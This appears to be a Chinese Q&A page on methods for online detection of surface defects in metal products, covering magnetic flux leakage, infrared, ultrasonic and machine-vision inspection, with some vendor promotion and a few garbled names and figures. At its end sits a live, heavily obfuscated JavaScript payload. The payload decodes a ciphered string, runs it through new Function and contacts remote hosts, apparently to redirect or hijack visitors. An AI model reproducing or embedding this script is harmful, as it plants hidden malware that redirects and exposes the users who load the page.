推荐回答(5个)
主流金属制品表面缺陷在线检测方法。
一、漏磁检测
漏磁检测技术广泛应用于钢铁产品的无损检测。其检测原理是,利用磁源对被测材料局部磁化,如材料表面存在裂纹或坑点等缺陷,则局部区域的磁导率降低、磁阻增加,磁化场将部分从此区域外泄,从而形成可检验的漏磁信号。在材料内部的磁力线遇到由缺陷产生的铁磁体间断时,磁力线将会发生聚焦或畸变,这一畸变扩散到材料本身之外,即形成可检测的磁场信号。采用磁敏元件检测漏磁场便可得到有关缺陷信息。因此,漏磁检测以磁敏电子装置与磁化设备组成检测传感器,将漏磁场转变为电信号提供给二次仪表。
漏磁检测技术的整个过程为:激磁-缺陷产生漏磁场-传感器获取信号-信号处理-分析判断。在磁性无损检测中,磁化时实现检测的第一步,它决定着被测量对象(如裂纹)能不能产出足够的可测量和可分辨的磁场信号,同时也影响着检测信号的性能,故要求增强被测磁化缺陷的漏磁信号。被测构件的磁化由磁化器来实现,主要包括磁场源和磁回路等部分。因此,针对被测构件特点和测量目的,选择合适的磁源和设计磁回路是磁化器优化的关键。
漏磁检测金属表面缺陷的物理基础使带有缺陷的铁磁件在磁场中被磁化后,在缺陷处会产生漏磁场,通过检测漏磁场来辩识有无缺陷。因此,研究缺陷漏磁场的特点,确定缺陷的特征,就成为漏磁检测理论和技术的关键。要测量漏磁场,测量装置须具有较高的灵敏度,特别是能测空间点磁场,还应有较大的测量范围和频带;测量装置须具有二维及三维的精确步进或调整能力,以确定传感器的空间位置;同时,应用先进的信号处理技术去除噪声,确定实际的漏磁场量。Foerster,Athertion 已成功应用霍尔器件检测缺陷,霍尔器件可在z—Y二维空间步进的最小间隔分别为2μm和0.1μm。
漏磁检测不仅能检测表面缺陷,且能检测内部微小缺陷;可检测到5X10mm。的微小缺陷;造价较低廉。其缺点是,只能用于金属材料的检测,无法识别缺陷种类。目前,漏磁检测在低温金属材料缺陷检测方面已进入实用阶段。如日本川崎公司千叶厂于1993年开发出在线非金属夹杂物检测装置;日本NKK公司福冈厂于同年研制出一种超高灵敏度的磁敏传感器,用于检测钢板表面缺陷。
二、红外线检测与技术
红外线检测是通过高频感应线圈使连铸板坯表面产生感应电流,在高频感应的集肤效应作用下,其穿透深度小于1 mm,且在表面缺陷区域的感应电流会导致单位长度的表面上消耗更多电能,引起连铸板坯局部表面的温度上升。该升温取决于缺陷的平均深度、线圈工作频率、特定输入电能,以及被检钢坯电性能、热性能、感应线圈宽度和钢运动速度等因素。当其它各种因素在一定范围内保持恒定时,就可通过检测局部温升值来计算缺陷深度,而局部温升值可通过红外线检测技术加以检定。利用该技术,挪威Elkem公司于1990年研制出Ther—mOMatic连铸钢坯自动检测系统,日本茨城大学工学部的冈本芳三等在检测板坯试件表面裂纹和微小针孔的实验研究中也利用此法得到较满意的结果。
三、超声波探伤技术
超声波检测是利用声脉在缺陷处发生特性变化的原理来检测。接触法是探头与工件表面之间经一层薄的起传递超声波能量作用的耦合剂直接接触。为避免空气层产生强烈反射,在探测时须将接触层间的空气排除干净,使声波入射工件,操作方便,但其对被测工件的表面光洁度要求较高。液浸法是将探头与工件全部浸入于液体或探头与工件之间,局部以充液体进行探伤的方法。脉冲反射法是当脉冲超声波入射至被测工件后,声波在工件内的反射状况就会显示在荧光屏上,根据反射波的时间及形状来判断工件内部缺陷及材料性质的方法。目前,超声波探伤技术已成功应用于金属管道内部的缺陷检测。
四、光学检测法
机器视觉是以图像处理理论为核心,属于人工智能范畴的一个领域,它是以数字图像处理、模式识别、计算机技术为基础的信息处理科学的重要分支,广泛应用于各种无损检测技术中。基于机器视觉的连铸板坯表面缺陷检测方法的基本原理是:一定的光源照在待测金属表面上,利用高速CCD摄像机获得连铸板坯表面图像,通过图像处理提取图像特征向量,通过分类器对表面缺陷进行检测与分类。20世纪70年代中期,El本Jil崎公司就开始研制镀锡板在线机器视觉检测装置 。1988年,美国Sick光电子公司也成功地研制出平行激光扫描检测装置,用以在线检测金属表面缺陷。基于机器视觉的表面在线检测与分类器设计的研究工作目前在国内尚处于起步阶段。1990年,华中理工大学采用激光扫描方法测量冷轧钢板宽度和检测孔洞缺陷,并开发了相应的信号处理电路;1995年又研制出冷轧连铸板坯表面轧洞、重皮和边裂等缺陷检测和最小带宽测量的实验系统。1996年,宝钢与原航天部二院联合研制出冷轧连铸板坯表面缺陷的在线检测系统,并进行了大量的在线试验研究。近年来,北京科技大学、华中科技大学等也研制出较为实用化的在线检测系统。
从检测技术的观点来看,基于机器视觉的钢表面缺陷检测系统面临困境:①要求检测到的缺陷的几何尺寸越来越小,有的甚至小于0.1 mm;② 检测对象可能处于运动状态,导致采集的图像抖动较大;③现场环境较恶劣,往往受烟尘、油污、温度高等因素的影响,引起缺陷图像信噪比下降;④表面缺陷的多样性(如冷轧连铸板坯表面可达100多种),不同缺陷之间的光学特性、电磁特性不同;有的缺陷之间的差异不明显。因此,基于机器视觉的连铸板坯表面缺陷分类器要求具有收敛速度快、鲁棒性好、自学习功能等特点。
目前金属表面检测的主要方法包括以下几种:
1. 目视检测:通过人眼观察金属表面是否存在瑕疵、划伤、氧化等问题。这种方法简单直观,但受人眼主观因素影响较大,检测效率和准确性有限。
2. 手工检测:使用人工工具如放大镜、触摸感应器等对金属表面进行检测。这种方法在特定情况下可以提高检测精度,但对操作技术要求较高,且不适用于大规模生产。
3. 光学显微镜检测:使用显微镜观察金属表面的微观结构,检测表面划痕、裂纹、异物等缺陷。这种方法可以提供高分辨率的图像,但需要专业人员进行操作和分析。
4. 声波检测:利用超声波技术对金属表面进行无损检测,通过声波的传播速度和反射信号分析表面的缺陷。这种方法对金属材料的内部和外部缺陷都具有较高的敏感性,适用于大规模生产中的在线检测。
5. 磁粉检测:通过在金属表面涂覆磁粉,利用磁场引导磁粉沿表面缺陷线聚集,通过观察和分析磁粉的分布情况来检测金属表面的裂纹和缺陷。
6. 热红外检测:利用红外辐射对金属表面进行热成像,通过观察和分析热图图像来检测金属表面的温度异常、热点、热裂等问题。
7. 机器视觉检测:利用计算机视觉技术,配合相机、光源和图像处理算法,对金属表面进行自动化检测,可以实现快速、准确的表面缺陷检测,适用于大规模生产。
8. 激光检测:利用激光器对金属表面进行扫描,通过测量反射激光的强度和散射情况来检测金属表面的凹凸、裂纹、划痕等缺陷。
以上方法可以单独应用,也可以结合使用,根据需求和应用场景选择合适的检测方法。
金属表面检测的方法有以下几种:
1、目测检测:用眼睛观察金属表面是否有明显的缺陷,如裂纹、凹陷等,适用于一些比较大的缺陷,但对于一些微小的缺陷,这种方法可能会有一定的局限性。
2、磁粉检测:通过在金属表面施加磁场,利用磁性颗粒的吸附作用来检测缺陷,适用于一些微小的缺陷,但是对于一些深层缺陷的检测可能会有一定的限制。
3、超声波检测:利用超声波在金属中的传播特性来判断是否存在缺陷,可以检测出一些微小的缺陷,而且不需要破坏金属表面,因此在一些对金属表面要求比较高的场合,这种方法非常适用。
4、涡流检测:利用涡流感应原理来检测金属表面的缺陷,适用于一些导电性较好的金属。
5、X射线检测:利用X射线的穿透性来检测金属表面的缺陷,适用于一些比较厚的金属。
6、轮廓测量仪:通过均布的二维激光测量传感器测量轧材截面,真正做到无盲区测量,应用于轧钢、有色金属等的在线表面缺陷监测。
这些方法有一定的适用范围和局限性,选择合适的方法对于保证产品质量和延长使用寿命非常重要。其中机器视觉检测是一种高精度、高效率的检测方法,可以快速准确地检测金属表面缺陷。
机器视觉检测是一种基于图像处理和机器视觉技术的表面缺陷检测方法,通过高精度的相机和镜头捕捉金属表面的图像,再通过先进的图像处理软件进行分析和处理,从而识别和分类各种表面缺陷。与传统的检测方法相比,机器视觉检测具有更高的精度和效率,可以快速检测出金属表面微小的缺陷,并且可以实时输出检测结果,方便后续的质量控制和产品分类。
一般来说,机器视觉检测适用于金属表面缺陷的在线检测和自动化生产线的质量控制,可以广泛应用于各种金属制品的生产和检测中,如钢板、钢管、金属铸件等。华汉伟业将AI算法与机器视觉系统结合后,将2D图像的纹理信息与3D图像的形貌信息进行异源数据融合,结合深度学习技术,完成表面质量检测,打破了传统机器视觉壁垒,在其实际生产应用中,能够对不同位置、光照与复杂环境呈现出更好的适应性,具有较高的细微辨识度,以及提高检测率和正确率能力,并大幅增加制造柔性。
以上几种方法适用于不同的场合和需求,需要根据具体情况进行选择和使用。
金属表面检测的主要方法如下:
目测法:通过直接观察金属表面,发现裂纹、变形、腐蚀、疤痕、气泡等物理缺陷,具有直观性和简便性等优点。
磁粉探伤法:利用磁场效应检测金属表面和材质内部的各种缺陷,包括裂纹、夹杂、变形等,适用于铸造、锻造和焊接等制造工艺。
超声波探伤法:利用超声波的传播特性和反射原理,检测金属表面及材质内部存在的裂纹、夹杂、空隙等,广泛应用于钢铁、航空航天、汽车、机械等领域。
X射线检测法:利用X射线的穿透性探测材料内部的缺陷,通常应用于金属薄板、焊接、压力容器等领域。
涂层测厚法:利用涂层对不同波长光的折射、散射和反射特性来检测金属表面覆盖的不同材料和涂层的厚度,有助于评估金属表面的保护性和耐腐蚀性。
电化学测量法:利用金属表面的电化学反应特性来检测其在腐蚀环境下的腐蚀行为和腐蚀速率,通常应用于质保检测、材料研究等方面。
不同的金属及金属制品可能选用不同的检测方法,综合运用多种检测手段可以实现全方位、多角度的表面缺陷探测和分析。
目前主流效率最高,成本最低的当属CCD自动化光学检测设备,能减少百分之80的人工成本,其主要采用CCD对产品的表面光信号的捕捉,然后转换为电信号传输给工业电脑,再由自行研发的软体进行高速运算来进行产品的外观检测,同时也能进行多项的尺寸检测。
目前我司有20台台湾进口的CCD自动化光学检测设备,我司做的是各种五金零配件,主要检测表面的电镀不良,表面刮伤,表面缺失,尺寸不良,目前设备运作良好。以前光人工检测就要几十人,现在一个班次只要两三个人就足够了,节省了大量的成本。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();